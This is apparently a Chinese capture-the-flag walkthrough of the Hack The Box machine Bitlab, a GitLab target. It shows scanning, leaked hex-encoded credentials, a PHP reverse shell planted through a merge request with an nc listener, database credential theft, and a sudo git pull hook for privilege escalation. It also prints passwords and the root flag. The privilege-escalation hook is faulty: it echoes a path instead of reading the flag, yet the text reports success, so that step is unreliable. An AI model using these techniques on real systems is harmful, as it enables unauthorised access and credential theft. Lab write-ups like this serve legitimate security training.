渗透测试 | HTB-Bitlab实战
字数 1309 2025-08-18 11:39:30
HTB-Bitlab渗透测试实战教学文档
1. 目标概述
- 目标IP: 10.10.10.114
- 开放端口: 22(SSH), 80(HTTP)
- 目标系统: GitLab平台
2. 信息收集阶段
2.1 端口扫描
nmap 10.10.10.114 -p-
发现仅开放22和80端口。
2.2 Web服务枚举
- 80端口为GitLab登录页面
- 尝试SQL注入和密码重置功能无果
- 发现"Help"链接指向
/help目录
3. 初始访问获取
3.1 敏感信息泄露
- 在
/help/bookmarks.html中发现隐藏的16进制编码 - 使用Python解码获取凭证:
print("\x68\x74\x74\x70...") # 实际解码过程
获得用户名密码组合: clave: 11des0081x
3.2 GitLab登录
使用获取的凭证成功登录GitLab平台。
4. 漏洞利用
4.1 分析GitLab项目
发现两个项目:
- Profile项目
- Deployer项目
4.2 代码审计发现漏洞
在Deployer项目中发现PHP伪协议处理代码:
// 代码功能: 当Profile仓库的master分支有合并请求时,服务器会执行git pull同步到../profile/目录
4.3 文件上传漏洞利用
- 在Profile仓库创建新文件
- 上传PHP反向shell代码
- 提交合并请求
PHP反向shell代码要点:
<?php
$ip = '攻击者IP';
$port = 监听端口;
// ...完整反向shell代码...
?>
4.4 获取Web Shell
- 本地设置监听:
nc -lvnp 1234
- 访问触发URL:
http://10.10.10.114/profile/上传的文件名.php - 成功获取低权限Web Shell
5. 权限提升 - 获取User权限
5.1 内网发现
发现PostgreSQL服务运行在5432端口:
netstat -ntlp
5.2 数据库凭证获取
在GitLab的Snippets中发现数据库连接脚本:
$dbconn = pg_connect("host=localhost dbname=profiles user=profiles password=profiles")
5.3 数据库查询
编写完整查询脚本获取用户凭证:
// ...完整查询脚本...
获取到用户密码: 11des0081x (注意: 不要进行Base64解码)
5.4 SSH登录
使用凭证通过SSH登录:
ssh clave@10.10.10.114
成功获取user.txt
6. 权限提升 - 获取Root权限
方法1: 逆向分析
- 发现
RemoteConnection.exe文件 - 下载到本地分析:
scp clave@10.10.10.114:/home/clave/RemoteConnection.exe ./
- 使用IDA调试发现root密码:
root:Qf7]8YSV.wDNF*[7d?j&eD4^
方法2: Git Hook利用
- 检查sudo权限:
sudo -l
发现可以执行git pull
- 利用Git Hook机制:
- 创建post-merge钩子脚本:
#!/bin/sh
echo /root/root.txt > /tmp/root.txt
- 执行提权:
sudo git pull
成功获取root.txt内容
7. 关键知识点总结
-
信息收集技巧:
- 不要忽略看似无关的链接和文件(如bookmarks.html)
- 注意检查页面源代码中的隐藏信息
-
GitLab安全:
- 敏感信息可能存在于commit历史、snippets中
- 自动化部署功能可能成为攻击入口
-
Web应用安全:
- 文件上传功能需严格验证
- PHP伪协议处理需谨慎
-
权限提升技巧:
- 数据库服务是常见的信息源
- 应用程序的逆向分析可能泄露凭证
- Git Hook机制可被用于权限提升
-
防御建议:
- 定期审计代码中的硬编码凭证
- 限制sudo权限
- 监控异常git操作
- 隔离部署环境与生产环境
8. Flag获取
- User Flag: 通过SSH登录后位于
/home/clave/user.txt - Root Flag:
8d4cc131757957cb68d9a0cddccd587c